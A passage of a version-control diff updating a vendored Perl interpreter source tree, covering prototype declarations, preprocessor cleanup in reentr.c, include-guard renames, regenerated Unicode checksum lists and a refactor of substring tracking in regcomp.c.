+STATIC HV *	S_new_msg_hv(pTHX_ const char * const message, U32 categories, U32 flag)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_NEW_MSG_HV	\
+	assert(message)
+
 STATIC U8*	S_swash_scan_list_line(pTHX_ U8* l, U8* const lend, UV* min, UV* max, UV* val, const bool wants_value, const U8* const typestr)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_SWASH_SCAN_LIST_LINE	\
@@ -5871,7 +6219,7 @@
 	assert(p); assert(lenp)
 #endif
 #if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
-PERL_CALLCONV UV	Perl__to_fold_latin1(pTHX_ const U8 c, U8 *p, STRLEN *lenp, const unsigned int flags);
+PERL_CALLCONV UV	Perl__to_fold_latin1(const U8 c, U8 *p, STRLEN *lenp, const unsigned int flags);
 #define PERL_ARGS_ASSERT__TO_FOLD_LATIN1	\
 	assert(p); assert(lenp)
 #endif
@@ -6044,14 +6392,9 @@
 	assert(param)
 
 #endif
-#if defined(USE_LOCALE)     && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX))
+#if defined(USE_LOCALE)		    && (   defined(PERL_IN_LOCALE_C)	        || defined(PERL_IN_MG_C)		|| defined (PERL_EXT_POSIX)		|| defined (PERL_EXT_LANGINFO))
 PERL_CALLCONV bool	Perl__is_cur_LC_category_utf8(pTHX_ int category);
 #endif
-#if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C)
-STATIC char*	S_stdize_locale(pTHX_ char* locs);
-#define PERL_ARGS_ASSERT_STDIZE_LOCALE	\
-	assert(locs)
-#endif
 #if defined(USE_LOCALE_COLLATE)
 PERL_CALLCONV int	Perl_magic_setcollxfrm(pTHX_ SV* sv, MAGIC* mg);
 #define PERL_ARGS_ASSERT_MAGIC_SETCOLLXFRM	\
@@ -6061,7 +6404,11 @@
 #define PERL_ARGS_ASSERT_MEM_COLLXFRM	\
 	assert(input_string); assert(xlen)
 #endif
-/* PERL_CALLCONV char*	sv_collxfrm(pTHX_ SV *const sv, STRLEN *const nxp); */
+#ifndef NO_MATHOMS
+PERL_CALLCONV char*	Perl_sv_collxfrm(pTHX_ SV *const sv, STRLEN *const nxp);
+#define PERL_ARGS_ASSERT_SV_COLLXFRM	\
+	assert(sv); assert(nxp)
+#endif
 PERL_CALLCONV char*	Perl_sv_collxfrm_flags(pTHX_ SV *const sv, STRLEN *const nxp, I32 const flags);
 #define PERL_ARGS_ASSERT_SV_COLLXFRM_FLAGS	\
 	assert(sv); assert(nxp)
@@ -6117,7 +6464,6 @@
 	assert(format)
 #endif
 #if defined(WIN32)
-PERL_CALLCONV char*	Perl_my_setlocale(pTHX_ int category, const char* locale);
 PERL_CALLCONV_NO_RET void	win32_croak_not_implemented(const char * fname)
 			__attribute__noreturn__;
 #define PERL_ARGS_ASSERT_WIN32_CROAK_NOT_IMPLEMENTED	\

Modified: vendor/perl/dist/reentr.c
===================================================================
--- vendor/perl/dist/reentr.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/reentr.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -59,16 +59,12 @@
 	PL_reentrant_buffer->_grent_size = sysconf(_SC_GETGR_R_SIZE_MAX);
 	if (PL_reentrant_buffer->_grent_size == (size_t) -1)
 		PL_reentrant_buffer->_grent_size = REENTRANTUSUALSIZE;
-#   else
-#       if defined(__osf__) && defined(__alpha) && defined(SIABUFSIZ)
+#   elif defined(__osf__) && defined(__alpha) && defined(SIABUFSIZ)
 	PL_reentrant_buffer->_grent_size = SIABUFSIZ;
-#       else
-#           ifdef __sgi
+#   elif defined(__sgi)
 	PL_reentrant_buffer->_grent_size = BUFSIZ;
-#           else
+#   else
 	PL_reentrant_buffer->_grent_size = REENTRANTUSUALSIZE;
-#           endif
-#       endif
 #   endif 
 #endif /* HAS_GETGRNAM_R */
 #ifdef HAS_GETHOSTBYNAME_R
@@ -94,16 +90,12 @@
 	PL_reentrant_buffer->_pwent_size = sysconf(_SC_GETPW_R_SIZE_MAX);
 	if (PL_reentrant_buffer->_pwent_size == (size_t) -1)
 		PL_reentrant_buffer->_pwent_size = REENTRANTUSUALSIZE;
-#   else
-#       if defined(__osf__) && defined(__alpha) && defined(SIABUFSIZ)
+#   elif defined(__osf__) && defined(__alpha) && defined(SIABUFSIZ)
 	PL_reentrant_buffer->_pwent_size = SIABUFSIZ;
-#       else
-#           ifdef __sgi
+#   elif defined(__sgi)
 	PL_reentrant_buffer->_pwent_size = BUFSIZ;
-#           else
+#   else
 	PL_reentrant_buffer->_pwent_size = REENTRANTUSUALSIZE;
-#           endif
-#       endif
 #   endif 
 #endif /* HAS_GETPWNAM_R */
 #ifdef HAS_GETSERVBYNAME_R
@@ -116,16 +108,12 @@
 	PL_reentrant_buffer->_spent_size = sysconf(_SC_GETPW_R_SIZE_MAX);
 	if (PL_reentrant_buffer->_spent_size == (size_t) -1)
 		PL_reentrant_buffer->_spent_size = REENTRANTUSUALSIZE;
-#   else
-#       if defined(__osf__) && defined(__alpha) && defined(SIABUFSIZ)
+#   elif defined(__osf__) && defined(__alpha) && defined(SIABUFSIZ)
 	PL_reentrant_buffer->_spent_size = SIABUFSIZ;
-#       else
-#           ifdef __sgi
+#   elif defined(__sgi)
 	PL_reentrant_buffer->_spent_size = BUFSIZ;
-#           else
+#   else
 	PL_reentrant_buffer->_spent_size = REENTRANTUSUALSIZE;
-#           endif
-#       endif
 #   endif 
 #endif /* HAS_GETSPNAM_R */
 #ifdef HAS_READDIR_R

Modified: vendor/perl/dist/reentr.h
===================================================================
--- vendor/perl/dist/reentr.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/reentr.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,8 +12,8 @@
  * Any changes made here will be lost!
  */
 
-#ifndef REENTR_H
-#define REENTR_H
+#ifndef PERL_REENTR_H_
+#define PERL_REENTR_H_
 
 /* If compiling for a threaded perl, we will macro-wrap the system/library
  * interfaces (e.g. getpwent()) which have threaded versions
@@ -23,7 +23,7 @@
  */
 
 #ifndef PERL_REENTR_API
-# if defined(PERL_CORE) || defined(PERL_EXT)
+# if defined(PERL_CORE) || defined(PERL_EXT) || defined(PERL_REENTRANT)
 #  define PERL_REENTR_API 1
 # else
 #  define PERL_REENTR_API 0
@@ -56,6 +56,11 @@
 #   define NETDB_R_OBSOLETE
 #endif
 
+#if defined(__GLIBC__) && (__GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 24))
+#   undef HAS_READDIR_R
+#   undef HAS_READDIR64_R
+#endif
+
 /*
  * As of OpenBSD 3.7, reentrant functions are now working, they just are
  * incompatible with everyone else.  To make OpenBSD happy, we have to

Modified: vendor/perl/dist/regcharclass.h
===================================================================
--- vendor/perl/dist/regcharclass.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regcharclass.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,8 +15,8 @@
  */
 
 
-#ifndef H_REGCHARCLASS   /* Guard against nested #includes */
-#define H_REGCHARCLASS 1
+#ifndef PERL_REGCHARCLASS_H_ /* Guard against nested #includes */
+#define PERL_REGCHARCLASS_H_
 
 #if 'A' == 65 /* ASCII/Latin1 */
 /*
@@ -1851,55 +1851,56 @@
 
 #endif	/* EBCDIC 037 */
 
-#endif /* H_REGCHARCLASS */
+#endif /* PERL_REGCHARCLASS_H_ */
 
 /* Generated from:
- * 59e717586b720a821ee0d7397679d5322e38b49f6fb7840545aedf669c733b70 lib/Unicode/UCD.pm
- * 47cb62a53beea6d0263e2147331c7e751853c9327225d95bbe2d9e1dc3e1aa44 lib/unicore/ArabicShaping.txt
- * 153f0a100c315f9f3945e78f57137611d36c44b3a975919c499fd403413fede8 lib/unicore/BidiBrackets.txt
- * fbe806975c1bf9fc9960bbaa39ff6290c42c7da8315f9cd459109b024cc1c485 lib/unicore/BidiMirroring.txt
- * 612127d4889032e55d82522e4a0c19793bda8aa8da14ecb3c696d17c83e6be13 lib/unicore/Blocks.txt
- * 37d40cf8c2c35637f4a04e746814e1fc4eb764c272bed9238a87ee96a4866857 lib/unicore/CaseFolding.txt
- * 5623df16856ad4007c60bdfff6f054e087521becd24cb4006be69c3a1d851aee lib/unicore/CompositionExclusions.txt
- * 5cb15b04693c43df16e0d304deca049e93b001445d163184e0ff1b7c8c852146 lib/unicore/DAge.txt
- * 6662c7e30b572df5d948c092692f52bcc79ab36d49a063a73d6435042db6fb3b lib/unicore/DCoreProperties.txt
- * 02d8e12cea7c61a9f3cc5fbf8eaceadf8da23fe83d60c64cf647088830b810cc lib/unicore/DNormalizationProps.txt
- * 3382cb4980e0021e9d4312f2d099315cfab6100ce0ff63a22d6937bfa720bcb7 lib/unicore/EastAsianWidth.txt
- * cb02ff25c375e78c82afffc852180eae7fc17c2f4434e697107720d05c52b26e lib/unicore/HangulSyllableType.txt
- * 850043bc9db08eddb271e43ed9176b865df76745a5fb6e9a4a1d9e54e5036471 lib/unicore/IndicPositionalCategory.txt
- * 90a3a00a5f5810850986c9279849b03c2f3133cfeeefb0554e851dd5ad7324dc lib/unicore/IndicSyllabicCategory.txt
- * bbd36a8d27f76e0fe0f2b0ca2827ac80da4b4a8d5247f0b0670fcaaac68ae6e1 lib/unicore/Jamo.txt
- * e2698584982ccd96e0c688bbcd4d2c48a23805baa0a0084388ef2e50ebd30aad lib/unicore/LineBreak.txt
- * 9d5353b1d318e72a63a49aa6a6a051d350382ea44b2cf31fe925bb94ce7e129b lib/unicore/NameAliases.txt
- * 009477f536f63016d901aeb1a4c820ad291e30e72ee9eb9ac1dfb6294a8a9bcc lib/unicore/NamedSequences.txt
- * f413ea8dbd3858de72f3148b47dd0586019761357d1481e3b65f3a025bc27f82 lib/unicore/PropList.txt
- * 56582d9875c1997876cf09305ccfc83448195de5d84d6374c78efaffeca4dfd7 lib/unicore/PropValueAliases.txt
- * 047ab0f815b6d1b30a863d6fcbd49e6358e168a3bd6c7189e80ab9863957d222 lib/unicore/PropertyAliases.txt
- * cde011921972dffe3e30dcbc7afbf069bf2eb01269097111dd7533b4c524caac lib/unicore/ScriptExtensions.txt
- * fba415952f5654145acad220dc2b878f815c673474d2bb4928934e3ba6ccca1d lib/unicore/Scripts.txt
- * dfc4f159c5c68328114ff17cd520451714a72ff48657287e5fe2f64344980695 lib/unicore/SpecialCasing.txt
- * 68dfc414d28257b9b5d6ddbb8b466c768c00ebdf6cbf7784364a9b6cad55ee8f lib/unicore/UnicodeData.txt
- * c76e7ed44a602f85161758ec54d2bcbcb7baf38f97720605a3e81ce02af47061 lib/unicore/auxiliary/GCBTest.txt
- * 4bb8931857e0a698fd2ec4a51a84c6de33e48a50d8b4bf0b57d960c41d77a191 lib/unicore/auxiliary/GraphemeBreakProperty.txt
- * 0c609ae4a32a89905c004010ef29885df3c60a941311a1a6e16003333d7fcdc8 lib/unicore/auxiliary/LBTest.txt
- * 26afdd5f38561167807b0f191af55b05761029ae6be2b7fe85b88f28effc66b5 lib/unicore/auxiliary/SBTest.txt
- * 53982766eeaf26674e7e2ec956c52846d52992ea9f4f1a202d488fb5cd76dd10 lib/unicore/auxiliary/SentenceBreakProperty.txt
- * 7f60beacc5ec5671edb56db36defc90cfc0016de4fd2bdfde7a3e4ec209840ce lib/unicore/auxiliary/WBTest.txt
- * cb2db065c77287e0f1d35b8c9b473d848b7566a1670439f67c357ca393084043 lib/unicore/auxiliary/WordBreakProperty.txt
- * 73573a4bee7f7377d936bc1710cd578001d00ba516e72ee54e906ae51a8c1fcb lib/unicore/extracted/DBidiClass.txt
- * ae8f55d8bb2bb69a63f70eef38cf5921fc3ba8e06d4d88f37950d32313a14754 lib/unicore/extracted/DBinaryProperties.txt
- * cf263ac4848d47264300139f97ed15c2c22896d2cef411483cbe292098c08bea lib/unicore/extracted/DCombiningClass.txt
- * 5bac89caf8d1fa23fcbbbf4d49ea0699b680ef1a73cbfa0daaac38c993906a74 lib/unicore/extracted/DDecompositionType.txt
- * e17138d36cd91f0e0d16437780a887c5ac637bde0de370b96f08a3424fcc322f lib/unicore/extracted/DEastAsianWidth.txt
- * fad25c183f4d439622c6be33c22ed709cdc4ac19feef0250527cf319a06952fe lib/unicore/extracted/DGeneralCategory.txt
- * c0d080b188fbe67dead10a3897dd2ca23da862c7f0b03508a92dcf27cd7e1f41 lib/unicore/extracted/DJoinGroup.txt
- * 3a8f8642084ed23b0de52af72dea0ff3d0b6928e6c7442832c663899e2b85e9d lib/unicore/extracted/DJoinType.txt
- * 37f6186253da9824bdb27f4ad867bfe8c25d4dc6bdb2f05585e40a034675a348 lib/unicore/extracted/DLineBreak.txt
- * ef24061b5a5dc93d7e90c2e34530ec757180ee75d872cba65ffc946e52624ae8 lib/unicore/extracted/DNumType.txt
- * a197371fec9a1b517058b440841f60f9378d81682084eef8db22a88cb2f96e90 lib/unicore/extracted/DNumValues.txt
- * 79a7216aceb1d291f2857085545fdda289518bc540a09bc0a15cde105d76028d lib/unicore/mktables
- * cdecb300baad839a6f62791229f551a4fa33f3cbdca08e378dc976466354e778 lib/unicore/version
+ * 4d64b650346ff9ddbcd3986f0da13f3be2379d64c574a120ca7f534d8d17934c lib/Unicode/UCD.pm
+ * ff4404ec64f308bdf7714c50f9fdf0d1d0bf3c34db4d0a67e58ef0c6f88e818f lib/unicore/ArabicShaping.txt
+ * 292171a0a1c13d7e581e8781eb4cdf248243b1ab267354a63c7a14429dea2740 lib/unicore/BidiBrackets.txt
+ * 8f2695cc42989a79a715ab0d2892bd0c998759180cfdfb998674447f48231940 lib/unicore/BidiMirroring.txt
+ * 5ae1649a42ed8ae8cb885af79563f00a9ae17e602405a56ed8aca214da14eea7 lib/unicore/Blocks.txt
+ * 97b43ed3f4b80572c2114200e5e43a6b923d984c74a6caaf27de5b8462c04cb0 lib/unicore/CaseFolding.txt
+ * eedcf6932b4081ee65878454588c803af910a5aed7c8c67e3c38701cbee9b9e4 lib/unicore/CompositionExclusions.txt
+ * 90e48995643f45b08f0ef67fb90de3bb18e26765272bcc0c35c840cbc10b37c1 lib/unicore/DAge.txt
+ * e6ca152259189ec4bc2297e93c6c88f86e162cc52814198263497f3c9b46cbe9 lib/unicore/DCoreProperties.txt
+ * 3e255ccdff4b00cfe0be53bbd583e4fe2e7d4039138579543548a5ecfce45242 lib/unicore/DNormalizationProps.txt
+ * 9f34e2d3ea27ca82f4f14b62411861d1f07c4b9e296d54da112a09cad5b9a48d lib/unicore/EastAsianWidth.txt
+ * 983810c739b56b9ff0fcb5db018c67d584ee515e8a5f4d9348c79ee85167ec37 lib/unicore/HangulSyllableType.txt
+ * 7d514a779ee4baf91262bd83c400cb502c3e435dba4b880c876506be32b8e1d0 lib/unicore/IndicPositionalCategory.txt
+ * f6acead8f84df5c72f3fb70dfc9375279926e4d8ef3480ffff3723095e9804aa lib/unicore/IndicSyllabicCategory.txt
+ * c8ed526f70443535ca6b705980a08c774017ff17e921202dcb7b71ae554047b6 lib/unicore/Jamo.txt
+ * 6b204c3727b77699d04a574b22b1e44facab038642095b8565b49762970d9bf8 lib/unicore/LineBreak.txt
+ * f2357d2bd3526b9e830de72ab038dcfc65a2dff24bcb4c6325c92071eb341f88 lib/unicore/NameAliases.txt
+ * 6c3e6bd1e58b640076a23b83318a8bf6a691d7fc2b2106114d77c5c5a898bced lib/unicore/NamedSequences.txt
+ * 58dbf8fedbd5bf67a3bd5c10eda2f2acf2eae59df5f77884a6f158e98f75cf8c lib/unicore/PropList.txt
+ * a6b0467c3cc7aa4e57d4e5cc7f6e9562b79cf4426dfe438517c28b368ed3e673 lib/unicore/PropValueAliases.txt
+ * 9ca521224e08d30696516ae6bc3d4434659c45df16047c0d31e440783c163a3b lib/unicore/PropertyAliases.txt
+ * 3fd0d744a816ddfd06809f92151ae4a73ec970ac2006806c269732d8951f3911 lib/unicore/ScriptExtensions.txt
+ * d02e24e4c516e9090b6bc9c2d2c8f4c89510b6ed8c5e859d0a861b0dc5cf372d lib/unicore/Scripts.txt
+ * e9947a0e86f27353f0e776403c4826675001210bd39d7114118a8864a57f7472 lib/unicore/SpecialCasing.txt
+ * 52423e4d7492167b62f518f68d54db88930abbbff7f11edfcaec8f726498cab1 lib/unicore/UnicodeData.txt
+ * f28caf260635cebf25fd58124bdc9aa22af08ba4d039ffc584365fb41a31cda5 lib/unicore/VerticalOrientation.txt
+ * 718d174957712410bfad782b10d557e1047574d7ef1642d6bb122f8ca5662c82 lib/unicore/auxiliary/GCBTest.txt
+ * 3b66caefc4fa877d0e50dbbbfa39658c86e29b26c6f206f68d7aec192d4c59b6 lib/unicore/auxiliary/GraphemeBreakProperty.txt
+ * 2aad3836c37fc4c2fa2a24f21586fb3a931dacaf0a1c845a6dc6395f30bd79a7 lib/unicore/auxiliary/LBTest.txt
+ * eacc03e39dddc60cc59ec9bd274b8ac8dfa25d61745ef0d5c8aa1c151a5b68ba lib/unicore/auxiliary/SBTest.txt
+ * e45fa8195bb413b901cc1e3772dfea2cead86805d46a51e3480a5a256e8c24d9 lib/unicore/auxiliary/SentenceBreakProperty.txt
+ * 95789f62e3b1e781dc9ed78f3983d39ff1a5e36ff0b497d6e610446df902b0f6 lib/unicore/auxiliary/WBTest.txt
+ * c207e8ebd06ee591a27b1087f2971f4cd93e960103c453d85d1d9ba26fb8b202 lib/unicore/auxiliary/WordBreakProperty.txt
+ * a3c0839826a30166b2bb06ba58df403547b8c3d9eae995ef889d20d115f4b223 lib/unicore/extracted/DBidiClass.txt
+ * 280afe22f6c4d56566d17d6d1400f33465a979c96f3d99ff3bff9bd14d17e734 lib/unicore/extracted/DBinaryProperties.txt
+ * db7fd6a5e6f068c47dbc3b74fb633fb1d09d17073410fe435295d05ce925c5f6 lib/unicore/extracted/DCombiningClass.txt
+ * 8204c07a7c217bdf22525030ad7b4fb991edf463bffcca7e6dba46b9992e0d99 lib/unicore/extracted/DDecompositionType.txt
+ * e343113719b660bdd81217ec101ce751f844fca0e8d6f15fb21c8ee7dfe7c14c lib/unicore/extracted/DEastAsianWidth.txt
+ * 07c55b0ed7271fe1a5f4d68059291288b1a8ad61940602d18956fd87390c2d9e lib/unicore/extracted/DGeneralCategory.txt
+ * d788b9362ec7681e98f8b9d6ef276546e1a6207dda05317ede55bd686b0940a9 lib/unicore/extracted/DJoinGroup.txt
+ * ebbea3c93eeb7431378885aebac0490d77f6900239c9176f90b6fee030903d96 lib/unicore/extracted/DJoinType.txt
+ * be0f129691d479aa38646e4ca0ec1ee576ae7f75b0300a5624a7fa862fa8abba lib/unicore/extracted/DLineBreak.txt
+ * 92449d354d9f6b6f2f97a292ebb59f6344ffdeb83d120d7d23e569c43ba67cd5 lib/unicore/extracted/DNumType.txt
+ * e3a319527153b0c6c0c549b40fc6f3a01a7a0dcd6620784391db25901df3b154 lib/unicore/extracted/DNumValues.txt
+ * ba5b13123afb59ea004c14fcbac80b5ff428c5b8f1b84bf8602b4ffb7da0407f lib/unicore/mktables
+ * 21653d2744fdd071f9ef138c805393901bb9547cf3e777ebf50215a191f986ea lib/unicore/version
  * 913d2f93f3cb6cdf1664db888bf840bc4eb074eef824e082fceda24a9445e60c regen/charset_translations.pl
- * c468aea5062ef84422219d74e83b6f3216f2823544b445f53ee1af71deeb2044 regen/regcharclass.pl
+ * 9ea6338945a7d70e5ea4b31ac7856c0b521df96be002e94b4b3b7d31debbf3ab regen/regcharclass.pl
  * 393f8d882713a3ba227351ad0f00ea4839fda74fcf77dcd1cdf31519925adba5 regen/regcharclass_multi_char_folds.pl
  * ex: set ro: */

Modified: vendor/perl/dist/regcomp.c
===================================================================
--- vendor/perl/dist/regcomp.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regcomp.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -110,7 +110,6 @@
     regnode *next_regnode;      /* next node to process when last is reached */
     U32 prev_recursed_depth;
     I32 stopparen;              /* what stopparen do we use */
-    U32 is_top_frame;           /* what flags do we use? */
 
     struct scan_frame *this_prev_frame; /* this previous frame */
     struct scan_frame *prev_frame;      /* previous frame */
@@ -119,8 +118,7 @@
 
 /* Certain characters are output as a sequence with the first being a
  * backslash. */
-#define isBACKSLASHED_PUNCT(c)                                              \
-                    ((c) == '-' || (c) == ']' || (c) == '\\' || (c) == '^')
+#define isBACKSLASHED_PUNCT(c)  strchr("-[]\\^", c)
 
 
 struct RExC_state_t {
@@ -151,7 +149,7 @@
     I32		sawback;		/* Did we see \1, ...? */
     U32		seen;
     SSize_t	size;			/* Code size. */
-    I32                npar;            /* Capture buffer count, (OPEN) plus
+    I32         npar;                   /* Capture buffer count, (OPEN) plus
                                            one. ("par" 0 is the whole
                                            pattern)*/
     I32		nestroot;		/* root parens we are in - used by
@@ -214,6 +212,7 @@
     bool        seen_unfolded_sharp_s;
     bool        strict;
     bool        study_started;
+    bool        in_script_run;
 };
 
 #define RExC_flags	(pRExC_state->flags)
@@ -280,6 +279,7 @@
 #define RExC_strict (pRExC_state->strict)
 #define RExC_study_started      (pRExC_state->study_started)
 #define RExC_warn_text (pRExC_state->warn_text)
+#define RExC_in_script_run      (pRExC_state->in_script_run)
 
 /* Heuristic check on the complexity of the pattern: if TOO_NAUGHTY, we set
  * a flag to disable back-off on the fixed/floating substrings - if it's
@@ -345,7 +345,7 @@
 /* Change from /d into /u rules, and restart the parse if we've already seen
  * something whose size would increase as a result, by setting *flagp and
  * returning 'restart_retval'.  RExC_uni_semantics is a flag that indicates
- * we've change to /u during the parse.  */
+ * we've changed to /u during the parse.  */
 #define REQUIRE_UNI_RULES(flagp, restart_retval)                            \
     STMT_START {                                                            \
             if (DEPENDS_SEMANTICS) {                                        \
@@ -359,6 +359,34 @@
             }                                                               \
     } STMT_END
 
+/* Executes a return statement with the value 'X', if 'flags' contains any of
+ * 'RESTART_PASS1', 'NEED_UTF8', or 'extra'.  If so, *flagp is set to those
+ * flags */
+#define RETURN_X_ON_RESTART_OR_FLAGS(X, flags, flagp, extra)                \
+    STMT_START {                                                            \
+            if ((flags) & (RESTART_PASS1|NEED_UTF8|(extra))) {              \
+                *(flagp) = (flags) & (RESTART_PASS1|NEED_UTF8|(extra));     \
+                return X;                                                   \
+            }                                                               \
+    } STMT_END
+
+#define RETURN_NULL_ON_RESTART_OR_FLAGS(flags,flagp,extra)                  \
+                    RETURN_X_ON_RESTART_OR_FLAGS(NULL,flags,flagp,extra)
+
+#define RETURN_X_ON_RESTART(X, flags,flagp)                                 \
+                        RETURN_X_ON_RESTART_OR_FLAGS( X, flags, flagp, 0)
+
+
+#define RETURN_NULL_ON_RESTART_FLAGP_OR_FLAGS(flagp,extra)                  \
+            if (*(flagp) & (RESTART_PASS1|(extra))) return NULL
+
+#define MUST_RESTART(flags) ((flags) & (RESTART_PASS1))
+
+#define RETURN_NULL_ON_RESTART(flags,flagp)                                 \
+                                    RETURN_X_ON_RESTART(NULL, flags,flagp)
+#define RETURN_NULL_ON_RESTART_FLAGP(flagp)                                 \
+                            RETURN_NULL_ON_RESTART_FLAGP_OR_FLAGS(flagp,0)
+
 /* This converts the named class defined in regcomp.h to its equivalent class
  * number defined in handy.h. */
 #define namedclass_to_classnum(class)  ((int) ((class) / 2))
@@ -393,7 +421,7 @@
 
   For each string some basic information is maintained:
 
-  - offset or min_offset
+  - min_offset
     This is the position the string must appear at, or not before.
     It also implicitly (when combined with minlenp) tells us how many
     characters must match before the string we are searching for.
@@ -405,6 +433,7 @@
     Only used for floating strings. This is the rightmost point that
     the string can appear at. If set to SSize_t_MAX it indicates that the
     string can occur infinitely far to the right.
+    For fixed strings, it is equal to min_offset.
 
   - minlenp
     A pointer to the minimum number of characters of the pattern that the
@@ -444,6 +473,15 @@
 
 */
 
+struct scan_data_substrs {
+    SV      *str;       /* longest substring found in pattern */
+    SSize_t min_offset; /* earliest point in string it can appear */
+    SSize_t max_offset; /* latest point in string it can appear */
+    SSize_t *minlenp;   /* pointer to the minlen relevant to the string */
+    SSize_t lookbehind; /* is the pos of the string modified by LB */
+    I32 flags;          /* per substring SF_* and SCF_* flags */
+};
+
 typedef struct scan_data_t {
     /*I32 len_min;      unused */
     /*I32 len_delta;    unused */
@@ -453,17 +491,14 @@
     SSize_t last_end;	    /* min value, <0 unless valid. */
     SSize_t last_start_min;
     SSize_t last_start_max;
-    SV **longest;	    /* Either &l_fixed, or &l_float. */
-    SV *longest_fixed;      /* longest fixed string found in pattern */
-    SSize_t offset_fixed;   /* offset where it starts */
-    SSize_t *minlen_fixed;  /* pointer to the minlen relevant to the string */
-    I32 lookbehind_fixed;   /* is the position of the string modfied by LB */
-    SV *longest_float;      /* longest floating string found in pattern */
-    SSize_t offset_float_min; /* earliest point in string it can appear */
-    SSize_t offset_float_max; /* latest point in string it can appear */
-    SSize_t *minlen_float;  /* pointer to the minlen relevant to the string */
-    SSize_t lookbehind_float; /* is the pos of the string modified by LB */
-    I32 flags;
+    U8      cur_is_floating; /* whether the last_* values should be set as
+                              * the next fixed (0) or floating (1)
+                              * substring */
+
+    /* [0] is longest fixed substring so far, [1] is longest float so far */
+    struct scan_data_substrs  substrs[2];
+
+    I32 flags;             /* common SF_* and SCF_* flags */
     I32 whilem_c;
     SSize_t *last_closep;
     regnode_ssc *start_class;
@@ -473,23 +508,21 @@
  * Forward declarations for pregcomp()'s friends.
  */
 
-static const scan_data_t zero_scan_data =
-  { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ,0};
+static const scan_data_t zero_scan_data = {
+    0, 0, NULL, 0, 0, 0, 0,
+    {
+        { NULL, 0, 0, 0, 0, 0 },
+        { NULL, 0, 0, 0, 0, 0 },
+    },
+    0, 0, NULL, NULL
+};
 
-#define SF_BEFORE_EOL		(SF_BEFORE_SEOL|SF_BEFORE_MEOL)
+/* study flags */
+
 #define SF_BEFORE_SEOL		0x0001
 #define SF_BEFORE_MEOL		0x0002
-#define SF_FIX_BEFORE_EOL	(SF_FIX_BEFORE_SEOL|SF_FIX_BEFORE_MEOL)
-#define SF_FL_BEFORE_EOL	(SF_FL_BEFORE_SEOL|SF_FL_BEFORE_MEOL)
+#define SF_BEFORE_EOL		(SF_BEFORE_SEOL|SF_BEFORE_MEOL)
 
-#define SF_FIX_SHIFT_EOL	(+2)
-#define SF_FL_SHIFT_EOL		(+4)
-
-#define SF_FIX_BEFORE_SEOL	(SF_BEFORE_SEOL << SF_FIX_SHIFT_EOL)
-#define SF_FIX_BEFORE_MEOL	(SF_BEFORE_MEOL << SF_FIX_SHIFT_EOL)
-
-#define SF_FL_BEFORE_SEOL	(SF_BEFORE_SEOL << SF_FL_SHIFT_EOL)
-#define SF_FL_BEFORE_MEOL	(SF_BEFORE_MEOL << SF_FL_SHIFT_EOL) /* 0x20 */
 #define SF_IS_INF		0x0040
 #define SF_HAS_PAR		0x0080
 #define SF_IN_PAR		0x0100
@@ -624,7 +657,13 @@
     UTF8fARG(UTF,                                                           \
              (xI(xC) > eC) /* Don't run off end */                          \
               ? eC - sC   /* Length before the <--HERE */                   \
-              : xI_offset(xC),                                              \
+              : ((xI_offset(xC) >= 0)                                       \
+                 ? xI_offset(xC)                                            \
+                 : (Perl_croak(aTHX_ "panic: %s: %d: negative offset: %"    \
+                                    IVdf " trying to output message for "   \
+                                    " pattern %.*s",                        \
+                                    __FILE__, __LINE__, xI_offset(xC),      \
+                                    ((int) (eC - sC)), sC), 0)),            \
              sC),         /* The input pattern printed up to the <--HERE */ \
     UTF8fARG(UTF,                                                           \
              (xI(xC) > eC) ? 0 : eC - xI(xC), /* Length after <--HERE */    \
@@ -971,67 +1010,125 @@
 #define DEBUG_SHOW_STUDY_FLAG(flags,flag) \
   if ((flags) & flag) Perl_re_printf( aTHX_  "%s ", #flag)
 
-#define DEBUG_SHOW_STUDY_FLAGS(flags,open_str,close_str)                    \
-    if ( ( flags ) ) {                                                      \
-        Perl_re_printf( aTHX_  "%s", open_str);                                         \
-        DEBUG_SHOW_STUDY_FLAG(flags,SF_FL_BEFORE_SEOL);                     \
-        DEBUG_SHOW_STUDY_FLAG(flags,SF_FL_BEFORE_MEOL);                     \
-        DEBUG_SHOW_STUDY_FLAG(flags,SF_IS_INF);                             \
-        DEBUG_SHOW_STUDY_FLAG(flags,SF_HAS_PAR);                            \
-        DEBUG_SHOW_STUDY_FLAG(flags,SF_IN_PAR);                             \
-        DEBUG_SHOW_STUDY_FLAG(flags,SF_HAS_EVAL);                           \
-        DEBUG_SHOW_STUDY_FLAG(flags,SCF_DO_SUBSTR);                         \
-        DEBUG_SHOW_STUDY_FLAG(flags,SCF_DO_STCLASS_AND);                    \
-        DEBUG_SHOW_STUDY_FLAG(flags,SCF_DO_STCLASS_OR);                     \
-        DEBUG_SHOW_STUDY_FLAG(flags,SCF_DO_STCLASS);                        \
-        DEBUG_SHOW_STUDY_FLAG(flags,SCF_WHILEM_VISITED_POS);                \
-        DEBUG_SHOW_STUDY_FLAG(flags,SCF_TRIE_RESTUDY);                      \
-        DEBUG_SHOW_STUDY_FLAG(flags,SCF_SEEN_ACCEPT);                       \
-        DEBUG_SHOW_STUDY_FLAG(flags,SCF_TRIE_DOING_RESTUDY);                \
-        DEBUG_SHOW_STUDY_FLAG(flags,SCF_IN_DEFINE);                         \
-        Perl_re_printf( aTHX_  "%s", close_str);                                        \
-    }
 
+#ifdef DEBUGGING
+static void
+S_debug_show_study_flags(pTHX_ U32 flags, const char *open_str,
+                                    const char *close_str)
+{
+    if (!flags)
+        return;
 
-#define DEBUG_STUDYDATA(str,data,depth)                              \
-DEBUG_OPTIMISE_MORE_r(if(data){                                      \
